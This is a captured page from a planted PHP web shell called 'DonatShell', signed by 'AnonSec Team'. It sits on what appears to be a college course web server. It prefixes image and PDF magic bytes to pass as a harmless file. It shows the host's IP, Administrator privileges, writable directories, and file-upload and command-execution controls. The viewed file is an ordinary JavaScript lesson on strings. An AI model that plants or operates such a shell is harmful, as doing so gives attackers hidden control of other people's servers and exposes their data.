GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1022/Resources/Week/04/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1022/Resources/Week/04/Strings.html
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Strings</title>
    <meta charset="utf-8">
</head>

  <p id="para1">Before the script...</p>

    <script>
        "use strict";
        let str = "Hello";
        let str2 = 'Single quotes are ok too';
        let phrase = `can embed another ${str}`;
        console.log(phrase);
        let calc = `can embed another ${5 + 3}`;
        console.log(calc);
        let age;
        console.log(age); // shows "undefined"
        let result = prompt('Enter a number', 6);
        console.log(`result=${result}.`);
        console.log(`typeof result=${typeof result}.`);
        console.log(`result+5=${result + 5}.`);
        let x = 5 + Number(result);
        // let x = 5 + +result; // Don't recoment using this to convert.
        console.log(`5+result=${x}.`);
        let myArray = [0,1];
        console.log(`typeof myArray=${typeof myArray}.`);
        // alert( Boolean(NaN) );
        // alert( Boolean(Infinity) );

    </script>

  <p>...After the script.</p>

</body>

</html>

Anon7 - 2022
AnonSec Team